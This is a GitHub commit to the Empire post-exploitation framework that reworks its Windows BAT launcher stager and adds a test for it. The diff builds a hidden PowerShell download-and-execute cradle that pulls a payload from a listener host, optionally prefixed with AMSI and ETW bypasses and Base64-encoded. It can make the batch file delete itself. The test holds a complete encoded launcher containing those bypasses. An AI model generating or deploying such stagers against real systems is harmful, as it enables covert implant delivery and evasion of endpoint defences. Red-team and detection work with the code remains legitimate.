Skip to content

Commit 86af372

Browse files
Cx01Nvinnybod
andauthored
Updated Windows bat launcher (BC-SECURITY#670)
* initial bat fixes * update bat file to use base64 * formatting * added pytest for bat files * updated formatting and changelog * Update empire/server/modules/powershell/management/spawnas.py Co-authored-by: Vincent Rose <[email protected]> --------- Co-authored-by: Vincent Rose <[email protected]>
1 parent 5a75a33 commit 86af372

File tree

4 files changed

+138
-52
lines changed

4 files changed

+138
-52
lines changed

CHANGELOG.md

+2
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
88
## [Unreleased]
99
- Pin linters in the workflow
1010

11+
- Updated Windows BAT launcher to use Base64 for all payloads (@Cx01N)
12+
1113
## [5.6.2] - 2023-08-09
1214

1315
- Update the github issue templates to use forms (@Vinnybod)

empire/server/stagers/windows/launcher_bat.py

+67-52
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22

33
import logging
44
from builtins import object
5+
from textwrap import dedent
56

67
from empire.server.common.helpers import enc_powershell
78
from empire.server.core.db import models
@@ -79,54 +80,61 @@ def __init__(self, mainMenu, params=[]):
7980
self.options[option]["Value"] = value
8081

8182
def generate(self):
82-
# extract all of our options
83-
listener_name = self.options["Listener"]["Value"]
84-
delete = self.options["Delete"]["Value"]
85-
obfuscate = self.options["Obfuscate"]["Value"]
86-
obfuscate_command = self.options["ObfuscateCommand"]["Value"]
87-
bypasses = self.options["Bypasses"]["Value"]
88-
language = self.options["Language"]["Value"]
89-
90-
if obfuscate.lower() == "true":
83+
# Extract options
84+
options = self.options
85+
listener_name = options["Listener"]["Value"]
86+
obfuscate_command = options["ObfuscateCommand"]["Value"]
87+
bypasses = options["Bypasses"]["Value"]
88+
language = options["Language"]["Value"]
89+
90+
listener = self.mainMenu.listenersv2.get_by_name(SessionLocal(), listener_name)
91+
host = listener.options["Host"]["Value"]
92+
93+
if options["Obfuscate"]["Value"].lower() == "true":
9194
obfuscate = True
9295
else:
9396
obfuscate = False
9497

95-
listener = self.mainMenu.listenersv2.get_by_name(SessionLocal(), listener_name)
96-
host = listener.options["Host"]["Value"]
97-
if host == "":
98+
if options["Delete"]["Value"].lower() == "true":
99+
delete = True
100+
else:
101+
delete = False
102+
103+
if not host:
98104
log.error("[!] Error in launcher command generation.")
99105
return ""
100106

107+
launcher = ""
101108
if listener.module in ["http", "http_com"]:
102109
if language == "powershell":
103-
launcher = "powershell.exe -nol -w 1 -nop -ep bypass "
104110
launcher_ps = f"(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('{host}/download/powershell/')-UseBasicParsing|iex"
105111

106-
if obfuscate:
107-
launcher = "powershell.exe -nol -w 1 -nop -ep bypass -enc "
108-
109-
with SessionLocal.begin() as db:
110-
for bypass in bypasses.split(" "):
111-
bypass = (
112-
db.query(models.Bypass)
113-
.filter(models.Bypass.name == bypass)
114-
.first()
115-
)
116-
if bypass:
117-
if bypass.language == language:
118-
launcher_ps = bypass.code + launcher_ps
119-
else:
120-
log.warning(
121-
f"Invalid bypass language: {bypass.language}"
122-
)
123-
124-
launcher_ps = self.mainMenu.obfuscationv2.obfuscate(
112+
with SessionLocal.begin() as db:
113+
for bypass_name in bypasses.split(" "):
114+
bypass = (
115+
db.query(models.Bypass)
116+
.filter(models.Bypass.name == bypass_name)
117+
.first()
118+
)
119+
120+
if bypass:
121+
if bypass.language == language:
122+
launcher_ps = bypass.code + launcher_ps
123+
else:
124+
log.warning(
125+
f"Invalid bypass language: {bypass.language}"
126+
)
127+
128+
launcher_ps = (
129+
self.mainMenu.obfuscationv2.obfuscate(
125130
launcher_ps, obfuscate_command
126131
)
127-
launcher_ps = enc_powershell(launcher_ps).decode("UTF-8")
132+
if obfuscate
133+
else launcher_ps
134+
)
135+
launcher_ps = enc_powershell(launcher_ps).decode("UTF-8")
136+
launcher = f"powershell.exe -nop -ep bypass -w 1 -enc {launcher_ps}"
128137

129-
launcher = launcher + launcher_ps
130138
else:
131139
oneliner = self.mainMenu.stagers.generate_exe_oneliner(
132140
language=language,
@@ -135,28 +143,35 @@ def generate(self):
135143
encode=True,
136144
listener_name=listener_name,
137145
)
146+
launcher = f"powershell.exe -nop -ep bypass -w 1 -enc {oneliner.split('-enc ')[1]}"
138147

139-
oneliner = oneliner.split("-enc ")[1]
140-
launcher = f"powershell.exe -nol -w 1 -nop -ep bypass -enc {oneliner}"
141-
142-
else:
143-
if language == "powershell":
144-
launcher = self.mainMenu.stagers.generate_launcher(
145-
listenerName=listener_name,
146-
language="powershell",
147-
encode=True,
148-
obfuscate=obfuscate,
149-
obfuscation_command=obfuscate_command,
150-
)
148+
elif language == "powershell":
149+
launcher = self.mainMenu.stagers.generate_launcher(
150+
listenerName=listener_name,
151+
language="powershell",
152+
encode=True,
153+
obfuscate=obfuscate,
154+
obfuscation_command=obfuscate_command,
155+
)
151156

152157
if len(launcher) > 8192:
153-
log.error("[!] Error launcher code is greater than 8192 characters.")
158+
log.error("[!] Error: launcher code is greater than 8192 characters.")
154159
return ""
155160

156-
code = "@echo off\n"
157-
code += "start " + launcher + "\n"
158-
if delete.lower() == "true":
159-
# code that causes the .bat to delete itself
160-
code += '(goto) 2>nul & del "%~f0"\n'
161+
code = dedent(
162+
f"""
163+
@echo off
164+
start /B {launcher}
165+
"""
166+
).strip()
167+
168+
if delete:
169+
code += "\n"
170+
code += dedent(
171+
"""
172+
timeout /t 1 > nul
173+
del "%~f0"
174+
"""
175+
).strip()
161176

162177
return code

empire/test/conftest.py

+16
Original file line numberDiff line numberDiff line change
@@ -286,6 +286,22 @@ def base_stager_2():
286286
}
287287

288288

289+
@pytest.fixture(scope="function")
290+
def bat_stager():
291+
return {
292+
"name": "bat_stager",
293+
"template": "windows_launcher_bat",
294+
"options": {
295+
"Listener": "new-listener-1",
296+
"Language": "powershell",
297+
"OutFile": "my-bat.bat",
298+
"Obfuscate": "False",
299+
"ObfuscateCommand": "Token\\All\\1",
300+
"Bypasses": "mattifestation etw",
301+
},
302+
}
303+
304+
289305
@pytest.fixture(scope="function")
290306
def pyinstaller_stager():
291307
return {

empire/test/test_stager_api.py

+53
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,5 @@
1+
from textwrap import dedent
2+
13
import pytest
24

35

@@ -410,3 +412,54 @@ def test_pyinstaller_stager_creation(client, pyinstaller_stager, admin_auth_head
410412
assert len(response.content) > 0
411413

412414
client.delete(f"/api/v2/stagers/{stager_id}", headers=admin_auth_header)
415+
416+
417+
def test_bat_stager_creation(client, bat_stager, admin_auth_header):
418+
response = client.post(
419+
"/api/v2/stagers/?save=true", headers=admin_auth_header, json=bat_stager
420+
)
421+
422+
# Check if the stager is successfully created
423+
assert response.status_code == 201
424+
assert response.json()["id"] != 0
425+
426+
stager_id = response.json()["id"]
427+
428+
response = client.get(
429+
f"/api/v2/stagers/{stager_id}",
430+
headers=admin_auth_header,
431+
)
432+
433+
# Check if we can successfully retrieve the stager
434+
assert response.status_code == 200
435+
assert response.json()["id"] == stager_id
436+
437+
response = client.get(
438+
response.json()["downloads"][0]["link"],
439+
headers=admin_auth_header,
440+
)
441+
442+
# Check if the file is downloaded successfully
443+
assert response.status_code == 200
444+
assert (
445+
response.headers.get("content-type").split(";")[0]
446+
== "application/x-msdos-program"
447+
)
448+
assert isinstance(response.content, bytes)
449+
450+
# Check if the downloaded file is not empty
451+
assert len(response.content) > 0
452+
assert response.content.decode("utf-8") == _expected_http_bat_launcher()
453+
454+
client.delete(f"/api/v2/stagers/{stager_id}", headers=admin_auth_header)
455+
456+
457+
def _expected_http_bat_launcher():
458+
return dedent(
459+
"""
460+
@echo off
461+
start /B powershell.exe -nop -ep bypass -w 1 -enc WwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAEUAdgBlAG4AdABpAG4AZwAuAEUAdgBlAG4AdABQAHIAbwB2AGkAZABlAHIAXQAuAEcAZQB0AEYAaQBlAGwAZAAoACcAbQBfAGUAbgBhAGIAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABJAG4AcwB0AGEAbgBjAGUAJwApAC4AUwBlAHQAVgBhAGwAdQBlACgAWwBSAGUAZgBdAC4AQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAFQAcgBhAGMAaQBuAGcALgBQAFMARQB0AHcATABvAGcAUAByAG8AdgBpAGQAZQByACcAKQAuAEcAZQB0AEYAaQBlAGwAZAAoACcAZQB0AHcAUAByAG8AdgBpAGQAZQByACcALAAnAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4ARwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACkALAAwACkAOwAkAFIAZQBmAD0AWwBSAGUAZgBdAC4AQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQA7ACQAUgBlAGYALgBHAGUAdABGAGkAZQBsAGQAKAAnAGEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMAZQB0AHYAYQBsAHUAZQAoACQATgB1AGwAbAAsACQAdAByAHUAZQApADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQATgBlAHQAdwBvAHIAawBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAOwBpAHcAcgAoACcAaAB0AHQAcAA6AC8ALwBsAG8AYwBhAGwAaABvAHMAdAA6ADEAMwAzADYALwBkAG8AdwBuAGwAbwBhAGQALwBwAG8AdwBlAHIAcwBoAGUAbABsAC8AJwApAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAfABpAGUAeAA=
462+
timeout /t 1 > nul
463+
del "%~f0"
464+
"""
465+
).strip()

0 commit comments

Comments
 (0)